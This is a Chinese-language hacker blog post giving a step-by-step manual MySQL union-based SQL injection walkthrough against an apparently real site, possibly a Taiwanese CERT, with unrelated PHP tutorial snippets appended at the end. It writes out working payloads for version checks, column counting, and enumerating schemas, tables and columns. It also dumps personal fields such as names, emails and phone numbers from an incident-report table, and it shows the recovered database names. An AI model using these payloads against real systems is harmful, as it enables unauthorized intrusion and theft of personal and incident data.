廢話不說，遇到個射點，判斷注入就不說了，大家都會，
1.判斷版本 and ord(mid(version(),1,1))>51 返回正常，說明大於4.0版本，支援ounion查詢
2.猜解字段數目,用order by也可以猜，也可以用union select乙個乙個的猜解
and 2=4 union select 1,2,3,4,5,6,7,8,9--
3.檢視資料庫版本及當前使用者， and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
資料庫版本5.1.35，據說mysql4.1以上版本支援concat函式，我也不知道是真是假，有待牛人去考證。
4.判斷有沒有寫許可權
and (select count(*) from mysql.user)>0-- 返回錯誤，沒有寫許可權
沒辦法，手動猜表啦
5.查庫，以前用union select 1,2,3,schema_name,5,6,n from information_schema.schemata limit 0,1
但是這個點有點不爭氣，用不了這個命令，就學習了下土耳其黑客的手法，不多說，如下
+and+1=0+union+select+concat(0x5b78786f6f5d,group_concat(distinct+table_schema),0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
成功查出所有資料庫，國外的黑客就是不一般。資料庫如下：
information_schema,advisory,ir,mad,member,mysql,twcert,vuldb,vulscandb
6.爆表，爆的是twcert庫
+and+1=0+union+select+concat(0x5b78786f6f5d,group_concat(distinct+table_name),0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
爆出如下表
downloadfile,irsys,newsdata,secrpt,secrpt_big5
7.爆列名，這次爆的是irsys表
+and+1=0+union+select+concat(0x5b78786f6f5d,group_concat(distinct+column_name),0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
爆出如下列
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
8.查詢字段數，到這一步，國內很少有黑客去查詢欄位數的，直接用limit n,1去查詢，直接n到報錯為止。
+and+1=0+union+select+concat(0x5b78786f6f5d,concat(count(*)),0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
返回是3，說明每個列裡有3個地段
9.爆欄位內容
+and+1=0+union+select+concat(0x5b78786f6f5d,name,0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+limit+0,1--
爆出name列的第乙個欄位的內容
+and+1=0+union+select+concat(0x5b78786f6f5d,name,0x5b78786f6f5d),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+limit+1,1--
爆出name列的第二個欄位的內容
這裡用到的語句其實早在06年的時候就有大牛提出來了，只是一直沒有詳細的使用發放，使得我們這些小菜很苦惱暴庫的方法。我也不懂得分析原始碼，也不懂資料庫，就是借鑑了下國外的大牛的語句，很感謝國外的大牛的共享精神。大家也學習下，有說明更好的高階注射方法也可以拿出來交流下
PHP高階應用
這個星期學的東西也不多，主要大部分時間在專業課的學習上，主要是想補一補專業課，所以把php的學習進度放緩了一點。1.php 多維陣列 php可以理解兩級 甚至四到五級的多維陣列，陣列的維度指示需要選擇元素的索引數。對於二維陣列需要兩個索引來選取元素，對於三維陣列則需要三個索引來選取元素。比如下面的陣...
php面試高階
1 yield 核心原理是什麼 使用場景 php開發很多時候都要讀取大檔案，比如csv檔案 text檔案，或者一些日誌檔案。這些檔案如果很大，比如5個g。這時，直接一次性把所有的內容讀取到記憶體中計算不太現實 set time limit 0 a memory get usage function ...
PHP陣列高階
php陣列的新增很是方便，不需要特別的指定。這裡介紹3種 1.直接使用 2.n 方括號加下標。3，定義的時候直接使用.a 00 11 33 44 b corn yellow beet red carrot orange c trs 80 radio shack 2600 atari adam clo...